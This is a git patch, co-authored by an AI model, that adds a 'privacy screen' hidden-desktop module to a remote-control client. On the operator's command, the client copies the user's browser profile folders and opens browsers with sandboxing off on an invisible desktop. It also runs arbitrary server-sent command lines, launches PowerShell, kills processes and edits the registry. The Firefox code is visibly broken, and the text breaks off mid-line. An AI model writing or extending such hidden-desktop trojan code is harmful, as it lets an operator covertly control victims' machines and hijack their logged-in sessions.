From 2fb625228505151efd58fed1620e43f22ee9c2f1 Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Mon, 5 Oct 2026 10:41:04 +0200 Subject: [PATCH] =?UTF-8?q?Feature:=20Migrate=20SimplePlugins=20privacy=20?= =?UTF-8?q?screen=20(=E9=9A=90=E7=A7=81=E5=B1=8F=E5=B9=95=E8=BF=81?= =?UTF-8?q?=E7=A7=BB)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Migrate the SimplePlugins privacy-screen (virtual desktop) feature into the YAMA client as an "实验功能" right-click submenu entry. The capture layer is rewritten rather than copied: CScreenHideSpy now subclasses YAMA's ::CScreenSpy (vDesk=TRUE) so capture and encoding reuse YAMA's encoder pipeline instead of SimplePlugins' diverged jpeg capture chain; CScreenManagerBase and CScreenHideManager are migrated under the SimplePluginsScreenHide namespace, and SimplePlugins-only ALGORITHM_DEFAULT is mapped to ALGORITHM_DIFF. Add COMMAND_PRIVATE_SCREEN_PLUGIN (164) and LoopPrivateScreenPlugin, spawned as a sub-connection from KernelManager. The constructor sends TOKEN_BITMAPINFO_HIDE so the existing server HideScreenSpyDlg opens unchanged. Add a "隐私屏幕" entry to the "实验功能" submenu, routed via OnExperimentPrivateScreen. Also zero-initialize the GetTitle/szClass buffers to fix a 0xCC garbled log. Co-Authored-By: deepseek-v4-pro --- client/ClientDll_vs2015.vcxproj | 4 + client/Common.cpp | 6 + client/Common.h | 1 + client/KernelManager.cpp | 10 + client/ghost_vs2015.vcxproj | 4 + client/screenhide/ScreenHideManager.cpp | 615 +++++++++++++++++++++++ client/screenhide/ScreenHideManager.h | 21 + client/screenhide/ScreenHideSpy.h | 22 + client/screenhide/ScreenManagerBase.h | 642 ++++++++++++++++++++++++ common/commands.h | 1 + server/2015Remote/2015Remote.rc | Bin 185948 -> 186102 bytes server/2015Remote/2015RemoteDlg.cpp | 7 + server/2015Remote/2015RemoteDlg.h | 1 + server/2015Remote/resource.h | 3 +- 14 files changed, 1336 insertions(+), 1 deletion(-) create mode 100644 client/screenhide/ScreenHideManager.cpp create mode 100644 client/screenhide/ScreenHideManager.h create mode 100644 client/screenhide/ScreenHideSpy.h create mode 100644 client/screenhide/ScreenManagerBase.h diff --git a/client/ClientDll_vs2015.vcxproj b/client/ClientDll_vs2015.vcxproj index 55f7f8c..3ed6eb6 100644 --- a/client/ClientDll_vs2015.vcxproj +++ b/client/ClientDll_vs2015.vcxproj @@ -192,6 +192,7 @@ + @@ -248,6 +249,9 @@ + + + diff --git a/client/Common.cpp b/client/Common.cpp index 6291f57..da691b9 100644 --- a/client/Common.cpp +++ b/client/Common.cpp @@ -5,6 +5,7 @@ #include "ScreenManager.h" #include "FileManager.h" #include "file/FileManager.h" +#include "screenhide/ScreenHideManager.h" #include "TalkManager.h" #include "ChatManager.h" #include "MachineManager.h" @@ -119,6 +120,11 @@ DWORD WINAPI LoopFileManagerPlugin(LPVOID lParam) return LoopManager(lParam); } +DWORD WINAPI LoopPrivateScreenPlugin(LPVOID lParam) +{ + return LoopManager(lParam); +} + DWORD WINAPI LoopShellManager(LPVOID lParam) { // Use ConPTY for xterm.js terminal on Windows 10 1809+, fallback to legacy pipe diff --git a/client/Common.h b/client/Common.h index 4e1c88c..e8fd74c 100644 --- a/client/Common.h +++ b/client/Common.h @@ -31,6 +31,7 @@ DWORD WINAPI LoopTalkManager(LPVOID lParam); DWORD WINAPI LoopChatManager(LPVOID lParam); DWORD WINAPI LoopMachineManager(LPVOID lParam); DWORD WINAPI LoopFileManagerPlugin(LPVOID lParam); +DWORD WINAPI LoopPrivateScreenPlugin(LPVOID lParam); DWORD WINAPI LoopProcessManager(LPVOID lParam); DWORD WINAPI LoopWindowManager(LPVOID lParam); DWORD WINAPI LoopVideoManager(LPVOID lParam); diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index 82ba7b1..39a9e9b 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -1187,6 +1187,16 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) break; } + case COMMAND_PRIVATE_SCREEN_PLUGIN: { // 隐私屏幕(虚拟桌面,SimplePlugins 迁移) + { + auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); + sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验 + m_hThread[m_ulThreadCount].p = sub; + } + m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopPrivateScreenPlugin, &m_hThread[m_ulThreadCount], 0, NULL);; + break; + } + case COMMAND_SHELL: { if (!ENABLE_SHELL) { return ResponseDisable(m_ClientObject, "SHELL", szBuffer + 1, ulLength - 1); diff --git a/client/ghost_vs2015.vcxproj b/client/ghost_vs2015.vcxproj index 4c0eba9..1b4bc70 100644 --- a/client/ghost_vs2015.vcxproj +++ b/client/ghost_vs2015.vcxproj @@ -199,6 +199,7 @@ + @@ -258,6 +259,9 @@ + + + diff --git a/client/screenhide/ScreenHideManager.cpp b/client/screenhide/ScreenHideManager.cpp new file mode 100644 index 0000000..834b802 --- /dev/null +++ b/client/screenhide/ScreenHideManager.cpp @@ -0,0 +1,615 @@ +// ScreenManagers.cpp: implementation of the CScreenHideManager class. +// +////////////////////////////////////////////////////////////////////// +#include "StdAfx.h" +#include +#include "ScreenHideManager.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + + +#pragma comment (lib, "Shlwapi.lib") + +namespace SimplePluginsScreenHide { + +////////////////////////////////////////////////////////////////////// +// Construction/Destruction +////////////////////////////////////////////////////////////////////// + +// 检查指定桌面(hDesk)中是否存在目标进程(targetExeName) +BOOL IsProcessRunningInDesktop(HDESK hDesk, const char* targetExeName) { + // 切换到目标桌面 + if (!SetThreadDesktop(hDesk)) { + return FALSE; + } + + // 枚举目标桌面的所有窗口 + BOOL bFound = FALSE; + std::pair data(targetExeName, &bFound); + EnumDesktopWindows(hDesk, [](HWND hWnd, LPARAM lParam) -> BOOL { + auto pData = reinterpret_cast*>(lParam); + + DWORD dwProcessId; + GetWindowThreadProcessId(hWnd, &dwProcessId); + + // 获取进程名 + HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwProcessId); + if (hProcess) { + char exePath[MAX_PATH]; + DWORD size = MAX_PATH; + if (QueryFullProcessImageName(hProcess, 0, exePath, &size)) { + if (_stricmp(exePath, pData->first) == 0) { + *(pData->second) = TRUE; + return FALSE; // 终止枚举 + } + } + CloseHandle(hProcess); + } + return TRUE; // 继续枚举 + }, reinterpret_cast(&data)); + + return bFound; +} + +// 获取指定桌面下的所有进程ID +std::vector GetProcessIdsInDesktop(HDESK hDesk) { + std::set pidSet; + HDESK hOriginalDesk = GetThreadDesktop(GetCurrentThreadId()); + + if (SetThreadDesktop(hDesk)) { + EnumDesktopWindows(hDesk, [](HWND hWnd, LPARAM lParam) { + auto& pids = *reinterpret_cast*>(lParam); + + // 跳过不可见窗口和子窗口 + if (IsWindowVisible(hWnd) && GetParent(hWnd) == NULL) { + DWORD pid = 0; + GetWindowThreadProcessId(hWnd, &pid); + if (pid != 0) pids.insert(pid); + } + return TRUE; + }, reinterpret_cast(&pidSet)); + SetThreadDesktop(hOriginalDesk); + } + + return std::vector(pidSet.begin(), pidSet.end()); +} + +bool IsSystemProcess(DWORD pid) { + HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid); + if (!hProcess) return true; + + char exeName[MAX_PATH]; + DWORD size = MAX_PATH; + bool isSystem = false; + + if (QueryFullProcessImageName(hProcess, 0, exeName, &size)) { + TCHAR szExplorerFile[MAX_PATH * 2] = { 0 }; + GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1); + strcat_s(szExplorerFile, MAX_PATH * 2 - 1, _T("\\Explorer.Exe")); + isSystem = (_stricmp(exeName, szExplorerFile)==0); + } + CloseHandle(hProcess); + return isSystem; +} + +void SafeTerminateDesktopProcesses(HDESK hDesk) { + // 检查桌面句柄有效性 + if (!hDesk || hDesk == INVALID_HANDLE_VALUE) return; + + // 获取当前桌面(用于恢复) + HDESK hOriginalDesk = GetThreadDesktop(GetCurrentThreadId()); + if (!hOriginalDesk) { + Mprintf("Failed to get original desktop\n"); + return; + } + + // 切换桌面 + if (!SetThreadDesktop(hDesk)) { + Mprintf("SetThreadDesktop failed\n"); + return; + } + + // 枚举进程 + auto pids = GetProcessIdsInDesktop(hDesk); + SetThreadDesktop(hOriginalDesk); // 立即恢复 + + // 终止进程 + for (DWORD pid : pids) { + if (pid == GetCurrentProcessId()) continue; // 跳过自己 + + HANDLE hProcess = OpenProcess(PROCESS_TERMINATE | PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid); + if (!hProcess) { + Mprintf("OpenProcess failed for PID: %d\n", pid); + continue; + } + + // 检查是否为系统进程 + if (IsSystemProcess(pid)) { + CloseHandle(hProcess); + continue; + } + + // 终止进程 + if (!TerminateProcess(hProcess, 0)) { + Mprintf("TerminateProcess failed for PID: %d\n", pid); + } + CloseHandle(hProcess); + } +} + +void CopyDir(TCHAR* from, TCHAR* to) +{ + TCHAR fromWildCard[MAX_PATH] = { 0 }; + lstrcpy(fromWildCard, from); + lstrcat(fromWildCard, _T("\\*")); + + if (!CreateDirectory(to, NULL) && GetLastError() != ERROR_ALREADY_EXISTS) + return; + WIN32_FIND_DATA findData; + HANDLE hFindFile = FindFirstFile(fromWildCard, &findData); + if (hFindFile == INVALID_HANDLE_VALUE) + return; + + do { + TCHAR currFileFrom[MAX_PATH] = { 0 }; + lstrcpy(currFileFrom, from); + lstrcat(currFileFrom, _T("\\")); + lstrcat(currFileFrom, findData.cFileName); + + TCHAR currFileTo[MAX_PATH] = { 0 }; + lstrcpy(currFileTo, to); + lstrcat(currFileTo, _T("\\")); + lstrcat(currFileTo, findData.cFileName); + + if + ( + findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY && + strcmp(findData.cFileName, _T(".")) && + strcmp(findData.cFileName, _T("..")) + ) { + if (CreateDirectory(currFileTo, NULL) || GetLastError() == ERROR_ALREADY_EXISTS) + CopyDir(currFileFrom, currFileTo); + } else + CopyFile(currFileFrom, currFileTo, FALSE); + } while (FindNextFile(hFindFile, &findData)); +} + +void killproc(const TCHAR* name) +{ + HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL); + PROCESSENTRY32 pEntry; + pEntry.dwSize = sizeof(pEntry); + BOOL hRes = Process32First(hSnapShot, &pEntry); + while (hRes) { + if (strcmp(pEntry.szExeFile, name) == 0) { + HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, 0, + (DWORD)pEntry.th32ProcessID); + if (hProcess != NULL) { + TerminateProcess(hProcess, 9); + CloseHandle(hProcess); + } + } + hRes = Process32Next(hSnapShot, &pEntry); + } + CloseHandle(hSnapShot); +} + +CScreenHideManager::CScreenHideManager(ISocketBase* pClient, int nBitDepth, void* user) : + CScreenManagerBase(pClient, nBitDepth, user) +{ + m_DlgToken = TOKEN_BITMAPINFO_HIDE; +} + +CScreenHideManager::~CScreenHideManager() +{ +} + +VOID CScreenHideManager::OnReceive(PBYTE lpBuffer, ULONG nSize) +{ + if (lpBuffer[0] == TOKEN_HEARTBEAT) + return; + + switch (lpBuffer[0]) { + case COMMAND_FLUSH_HIDE: + ResetScreen(32); + break; + case COMMAND_SCREEN_CONTROL: + ProcessCommand(lpBuffer + 1, nSize - 1); + break; + case COMMAND_NEXT: + NotifyDialogIsOpen(); + break; + case COMMAND_SCREEN_GET_CLIPBOARD: + SendClientClipboard(); + break; + case COMMAND_SCREEN_SET_CLIPBOARD: + UpdateClientClipboard((char*)lpBuffer + 1, nSize - 1); + break; + case COMMAND_SCREEN_SETSCREEN_HIDE: + Loop_Screen(); + break; + case COMMAND_COMMAND_SCREENUALITY60_HIDE: + m_ScreenSpyObject->SendQuality(60); + break; + case COMMAND_COMMAND_SCREENUALITY85_HIDE: + m_ScreenSpyObject->SendQuality(85); + break; + case COMMAND_COMMAND_SCREENUALITY100_HIDE: + m_ScreenSpyObject->SendQuality(100); + break; + case COMMAND_HIDE_USER: { + return OnUserCommand(lpBuffer, nSize); + } + break; + case COMMAND_HIDE_CLEAR: + SafeTerminateDesktopProcesses(g_hDesk); + break; + default: + Mprintf("Unknown command: %d\n", (unsigned)lpBuffer[0]); + break; + } +} + +void CScreenHideManager::OnUserCommand(PBYTE lpBuffer, ULONG nSize) { + char* deskName = (char*)m_DesktopID.c_str(); + switch (lpBuffer[1]) { + case IDM_OPEN_Explorer: { + const DWORD neverCombine = 2; + const TCHAR* valueName = _T("TaskbarGlomLevel"); + + HKEY hKey; + RegOpenKeyEx(HKEY_CURRENT_USER, _T("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced"), 0, KEY_ALL_ACCESS, &hKey); + DWORD value; + DWORD size = sizeof(DWORD); + DWORD type = REG_DWORD; + RegQueryValueEx(hKey, valueName, 0, &type, (BYTE*)&value, &size); + + if (value != neverCombine) + RegSetValueEx(hKey, valueName, 0, REG_DWORD, (BYTE*)&neverCombine, size); + + TCHAR explorerPath[MAX_PATH] = { 0 }; + GetWindowsDirectory(explorerPath, MAX_PATH); + lstrcat(explorerPath, _T("\\")); + lstrcat(explorerPath, _T("explorer.exe")); + + STARTUPINFO startupInfo = { 0 }; + startupInfo.cb = sizeof(startupInfo); + startupInfo.lpDesktop = deskName; + PROCESS_INFORMATION processInfo = { 0 }; + CreateProcess(explorerPath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo); + + APPBARDATA appbarData; + appbarData.cbSize = sizeof(appbarData); + for (int i = 0; i < 5; ++i) { + Sleep(1000); + appbarData.hWnd = FindWindow(_T("shell_TrayWnd"), NULL); + if (appbarData.hWnd) + break; + } + + appbarData.lParam = ABS_ALWAYSONTOP; + SHAppBarMessage(ABM_SETSTATE, &appbarData); + + RegSetValueEx(hKey, valueName, 0, REG_DWORD, (BYTE*)&value, size); + RegCloseKey(hKey); + break; + } + case IDM_OPEN_run: { + TCHAR rundllPath[MAX_PATH] = { 0 }; + SHGetFolderPath(NULL, CSIDL_SYSTEM, NULL, 0, rundllPath); + lstrcat(rundllPath, _T("\\rundll32.exe shell32.dll,#61")); + STARTUPINFO startupInfo = { 0 }; + startupInfo.cb = sizeof(startupInfo); + startupInfo.lpDesktop = deskName; + PROCESS_INFORMATION processInfo = { 0 }; + CreateProcess(NULL, rundllPath, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo); + break; + } + case IDM_OPEN_Powershell: { + TCHAR path[MAX_PATH] = { 0 }; + lstrcat(path, _T("cmd.exe /c start powershell -noexit -command \"[console]::windowwidth = 100;[console]::windowheight = 30; [console]::bufferwidth = [console]::windowwidth\"")); + STARTUPINFO startupInfo = { 0 }; + startupInfo.cb = sizeof(startupInfo); + startupInfo.lpDesktop = deskName; + PROCESS_INFORMATION processInfo = { 0 }; + CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo); + break; + } + case IDM_OPEN_Chrome: { + TCHAR chromePath[MAX_PATH] = { 0 }; + SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, chromePath); + lstrcat(chromePath, _T("\\Google\\Chrome\\")); + + TCHAR dataPath[MAX_PATH] = { 0 }; + lstrcat(dataPath, chromePath); + lstrcat(dataPath, _T("User Data\\")); + + TCHAR botId[35] = { 0 }; + TCHAR newDataPath[MAX_PATH] = { 0 }; + lstrcat(newDataPath, chromePath); + lstrcat(newDataPath, deskName); + + CopyDir(dataPath, newDataPath); + + TCHAR path[MAX_PATH] = { 0 }; + lstrcat(path, _T("cmd.exe /c start ")); + lstrcat(path, _T("chrome.exe")); + lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --origin-trial-disabled-features=SecurePaymentConfirmation --user-data-dir=")); + lstrcat(path, _T("\"")); + lstrcat(path, newDataPath); + + STARTUPINFO startupInfo = { 0 }; + startupInfo.cb = sizeof(startupInfo); + startupInfo.lpDesktop = deskName; + PROCESS_INFORMATION processInfo = { 0 }; + CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo); + break; + } + case IDM_OPEN_Edge: { + TCHAR path[MAX_PATH] = { 0 }; + lstrcat(path, _T("cmd.exe /c start ")); + lstrcat(path, _T("msedge.exe")); + lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir=")); + STARTUPINFO startupInfo = { 0 }; + startupInfo.cb = sizeof(startupInfo); + startupInfo.lpDesktop = deskName; + PROCESS_INFORMATION processInfo = { 0 }; + CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo); + break; + } + case IDM_OPEN_Brave: { + killproc(_T("brave.exe")); + TCHAR path[MAX_PATH] = { 0 }; + lstrcat(path, _T("cmd.exe /c start ")); + lstrcat(path, _T("brave.exe")); + lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir=")); + STARTUPINFO startupInfo = { 0 }; + startupInfo.cb = sizeof(startupInfo); + startupInfo.lpDesktop = deskName; + PROCESS_INFORMATION processInfo = { 0 }; + CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo); + break; + } + case IDM_OPEN_Firefox: { + TCHAR firefoxPath[MAX_PATH] = { 0 }; + SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, firefoxPath); + lstrcat(firefoxPath, _T("\\Mozilla\\Firefox\\")); + + TCHAR profilesIniPath[MAX_PATH] = { 0 }; + lstrcat(profilesIniPath, firefoxPath); + lstrcat(profilesIniPath, _T("TaskbarGlomLevel")); + + HANDLE hProfilesIni = CreateFile(profilesIniPath, FILE_READ_ACCESS, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (hProfilesIni == INVALID_HANDLE_VALUE) + return; + + DWORD profilesIniSize = GetFileSize(hProfilesIni, 0); + DWORD read; + TCHAR* profilesIniContent = new TCHAR[profilesIniSize + 1]; + ReadFile(hProfilesIni, profilesIniContent, profilesIniSize, &read, NULL); + profilesIniContent[profilesIniSize] = 0; + + TCHAR* isRelativeRead = StrStr(profilesIniContent, _T("IsRelative=")); + if (!isRelativeRead) { + CloseHandle(hProfilesIni); + SAFE_DELETE(profilesIniContent); + return; + } + + isRelativeRead += 11; + BOOL isRelative = (*isRelativeRead == _T('1')); + + TCHAR* path = StrStr(profilesIniContent, _T("Path=")); + if (!path) { + CloseHandle(hProfilesIni); + SAFE_DELETE(profilesIniContent); + return; + } + TCHAR* pathEnd = StrStr(path, _T("\r")); + if (!pathEnd) { + CloseHandle(hProfilesIni); + SAFE_DELETE(profilesIniContent); + return; + } + *pathEnd = 0; + path += 5; + + TCHAR realPath[MAX_PATH] = { 0 }; + if (isRelative) + lstrcpy(realPath, firefoxPath); + lstrcat(realPath, path); + + TCHAR newPath[MAX_PATH]; + lstrcpy(newPath, firefoxPath); + lstrcpy(newPath, deskName); + + CopyDir(realPath, newPath); + + TCHAR browserPath[MAX_PATH] = { 0 }; + lstrcpy(browserPath, _T("cmd.exe /c start ")); + lstrcpy(browserPath, _T("firefox.exe")); + lstrcpy(browserPath, _T(" -no-remote -profile ")); + lstrcpy(browserPath, _T("\"")); + lstrcpy(browserPath, newPath); + lstrcpy(browserPath, _T("\"")); + + STARTUPINFO startupInfo = { 0 }; + startupInfo.cb = sizeof(startupInfo); + startupInfo.lpDesktop = deskName; + PROCESS_INFORMATION processInfo = { 0 }; + CreateProcess(NULL, browserPath, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo); + break; + } + case IDM_OPEN_Iexplore: { + TCHAR path[MAX_PATH] = { 0 }; + lstrcpy(path, _T("cmd.exe /c start ")); + lstrcat(path, _T("iexplore.exe")); + + STARTUPINFO startupInfo = { 0 }; + startupInfo.cb = sizeof(startupInfo); + startupInfo.lpDesktop = deskName; + PROCESS_INFORMATION processInfo = { 0 }; + CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo); + break; + } + case IDM_OPEN_zdy: { + TCHAR path[MAX_PATH] = { 0 }; + lstrcpy(path, (TCHAR*)((char*)lpBuffer + 2)); + STARTUPINFO startupInfo = { 0 }; + startupInfo.cb = sizeof(startupInfo); + startupInfo.lpDesktop = deskName; + PROCESS_INFORMATION processInfo = { 0 }; + CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo); + break; + } + case IDM_OPEN_zdy2: { + ZdyCmd m_ZdyCmd = {}; + memcpy(&m_ZdyCmd, (char*)lpBuffer + 2, sizeof(ZdyCmd)); + CopyDir(m_ZdyCmd.oldpath, m_ZdyCmd.newpath); + + TCHAR path[MAX_PATH] = { 0 }; + lstrcpy(path, _T("cmd.exe /c start ")); + lstrcat(path, m_ZdyCmd.cmdline); + lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir=")); + lstrcat(path, _T("\"")); + lstrcat(path, m_ZdyCmd.newpath); + STARTUPINFO startupInfo = { 0 }; + startupInfo.cb = sizeof(startupInfo); + startupInfo.lpDesktop = deskName; + PROCESS_INFORMATION processInfo = { 0 }; + CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo); + break; + } + case IDM_OPEN_360JS: { + TCHAR chromePath[MAX_PATH] = { 0 }; + SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, chromePath); + lstrcat(chromePath, _T("\\360Chrome\\Chrome\\")); + TCHAR dataPath[MAX_PATH] = { 0 }; + lstrcpy(dataPath, chromePath); + lstrcat(dataPath, _T("User Data\\")); + + TCHAR newDataPath[MAX_PATH] = { 0 }; + lstrcpy(newDataPath, chromePath); + lstrcat(newDataPath, deskName); + + CopyDir(dataPath, newDataPath); + + TCHAR path[MAX_PATH] = { 0 }; + lstrcpy(path, _T("cmd.exe /c start ")); + lstrcat(path, _T("360chrome.exe")); + lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir=")); + lstrcat(path, _T("\"")); + lstrcat(path, newDataPath); + + STARTUPINFO startupInfo = { 0 }; + startupInfo.cb = sizeof(startupInfo); + startupInfo.lpDesktop = deskName; + PROCESS_INFORMATION processInfo = { 0 }; + CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo); + break; + } + case IDM_OPEN_360AQ: { + TCHAR chromePath[MAX_PATH] = { 0 }; + + SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, chromePath); + lstrcat(chromePath, _T("\\")); + + TCHAR dataPath[MAX_PATH] = { 0 }; + lstrcpy(dataPath, chromePath); + lstrcat(dataPath, _T("secoresdk\\")); + + TCHAR newDataPath[MAX_PATH] = { 0 }; + lstrcpy(newDataPath, chromePath); + lstrcat(newDataPath, deskName); + + CopyDir(dataPath, newDataPath); + lstrcat(newDataPath, _T("\\360se6\\Application\\360se.exe")); + + TCHAR path[MAX_PATH] = { 0 }; + lstrcpy(path, _T("cmd.exe /c start ")); + lstrcat(path, newDataPath); + + lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir=")); + + STARTUPINFO startupInfo = { 0 }; + startupInfo.cb = sizeof(startupInfo); + startupInfo.lpDesktop = deskName; + PROCESS_INFORMATION processInfo = { 0 }; + CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo); + break; + } + case IDM_OPEN_360AQ2: { + TCHAR chromePath[MAX_PATH] = { 0 }; + + SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, chromePath); + lstrcat(chromePath, _T("\\")); + + TCHAR dataPath[MAX_PATH] = { 0 }; + lstrcpy(dataPath, chromePath); + lstrcat(dataPath, _T("360se6\\")); + + TCHAR newDataPath[MAX_PATH] = { 0 }; + lstrcpy(newDataPath, chromePath); + lstrcat(newDataPath, deskName); + + CopyDir(dataPath, newDataPath); + lstrcat(newDataPath, _T("\\Application\\360se.exe")); + + TCHAR path[MAX_PATH] = { 0 }; + lstrcpy(path, _T("cmd.exe /c start ")); + lstrcat(path, newDataPath); + + lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir=")); + + STARTUPINFO startupInfo = { 0 }; + startupInfo.cb = sizeof(startupInfo); + startupInfo.lpDesktop = deskName; + PROCESS_INFORMATION processInfo = { 0 }; + CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo); + break; + } + } +} + +void CScreenHideManager::InitScreenSpy() { + HDESK hDesk = SelectDesktop((char*)m_DesktopID.c_str()); + if (!hDesk) { + hDesk = CreateDesktop(m_DesktopID.c_str(), NULL, NULL, 0, GENERIC_ALL, NULL); + Mprintf("创建虚拟屏幕%s: %s\n", m_DesktopID.c_str(), hDesk ? "成功" : "失败"); + } + else { + Mprintf("打开虚拟屏幕成功: %s\n", m_DesktopID.c_str()); + } + if (hDesk) { + TCHAR szExplorerFile[MAX_PATH * 2] = { 0 }; + GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1); + strcat_s(szExplorerFile, MAX_PATH * 2 - 1, _T("\\Explorer.Exe")); + if (!IsProcessRunningInDesktop(hDesk, szExplorerFile)) + { + if (!LaunchApplication(szExplorerFile, (char*)m_DesktopID.c_str())) { + Mprintf("启动资源管理器失败[%s]!!!\n", m_DesktopID.c_str()); + } + } else { + Mprintf("虚拟屏幕的资源管理器已在运行[%s].\n", m_DesktopID.c_str()); + } + SetThreadDesktop(g_hDesk = hDesk); + } + BYTE* param = (BYTE*)m_ptrUser; + int compress = ALGORITHM_DIFF; + if (param) { + compress = param[1]; + delete[] param; + m_ptrUser = NULL; + } + m_ScreenSpyObject = new CScreenHideSpy(32, compress); +} + +} // namespace SimplePluginsScreenHide diff --git a/client/screenhide/ScreenHideManager.h b/client/screenhide/ScreenHideManager.h new file mode 100644 index 0000000..f203551 --- /dev/null +++ b/client/screenhide/ScreenHideManager.h @@ -0,0 +1,21 @@ +#pragma once +#include "Manager.h" + +#include "ScreenHideSpy.h" +#include "ScreenManagerBase.h" + +namespace SimplePluginsScreenHide { + +class CScreenHideManager : public CScreenManagerBase +{ +public: + CScreenHideManager(ISocketBase* pClient, int nBitDepth, void* user=NULL); + virtual ~CScreenHideManager(); + + void OnUserCommand(PBYTE lpBuffer, ULONG nSize); + + virtual VOID OnReceive(PBYTE lpBuffer, ULONG nSize); + virtual void InitScreenSpy(); +}; + +} // namespace SimplePluginsScreenHide diff --git a/client/screenhide/ScreenHideSpy.h b/client/screenhide/ScreenHideSpy.h new file mode 100644 index 0000000..b8acf2d --- /dev/null +++ b/client/screenhide/ScreenHideSpy.h @@ -0,0 +1,22 @@ +#pragma once + +#include "ScreenSpy.h" + +namespace SimplePluginsScreenHide { + +// 隐私屏幕捕获器。 +// +// SimplePlugins 原版 CScreenHideSpy 基于其自带的旧 CScreenSpy/ScreenCapture 捕获链 +// (jpeg + CaptureFrame/BMP_JPG/ScanChangedRect),已与 YAMA 重写后的编码器捕获层 +// (ScreenCapture::GetNextScreenData + EncoderFactory)分叉,故此处改写为直接继承 +// YAMA 的 ::CScreenSpy,仅把 vDesk=TRUE(虚拟桌面)传入基类,捕获/编码全部复用基类。 +class CScreenHideSpy : public ::CScreenSpy +{ +public: + CScreenHideSpy(int biBitCount = 32, int algo = ALGORITHM_DIFF) + : ::CScreenSpy((ULONG)biBitCount, (BYTE)algo, TRUE /* vDesk → m_bVirtualPaint */) + { + } +}; + +} // namespace SimplePluginsScreenHide diff --git a/client/screenhide/ScreenManagerBase.h b/client/screenhide/ScreenManagerBase.h new file mode 100644 index 0000000..fff5155 --- /dev/null +++ b/client/screenhide/ScreenManagerBase.h @@ -0,0 +1,642 @@ +#pragma once + +#include "Manager.h" +#include "ScreenCapture.h" +#include +#include +#include + +class IOCPClient; + +namespace SimplePluginsScreenHide { + +class CScreenManagerBase : public CManager { +public: // 构造和析构 + CScreenManagerBase(IOCPClient* ClientObject, int nBitDepth, void* user = NULL, + int token= TOKEN_BITMAPINFO) : CManager(ClientObject) + { + m_DlgToken = token; + g_hDesk = nullptr; + m_DesktopID = GetBotId(); + m_ptrUser = user; + m_ScreenSpyObject = nullptr; + m_biBitCount = nBitDepth; + m_fps = 10; + m_bIsWorking = TRUE; + m_oldwidth = ::GetSystemMetrics(SM_CXVIRTUALSCREEN); + m_oldheigh = ::GetSystemMetrics(SM_CYVIRTUALSCREEN); + m_point = {}; + m_lastPoint = {}; + m_lmouseDown = FALSE; + m_hResMoveWindow = nullptr; + m_resMoveType = 0; + m_rmouseDown = FALSE; + m_rclickPoint = {}; + m_rclickWnd = nullptr; + m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, CScreenManagerBase::WorkThreadProc, this, 0, NULL); + m_hBlankThread = (HANDLE)__CreateThread(NULL, 0, CScreenManagerBase::ControlThread, this, 0, NULL); + SetReady(TRUE); + } + virtual ~CScreenManagerBase() { + m_bIsWorking = FALSE; + WaitForSingleObject(m_hWorkThread, INFINITE); + WaitForSingleObject(m_hBlankThread, INFINITE); + CloseHandle(m_hWorkThread); m_hWorkThread = 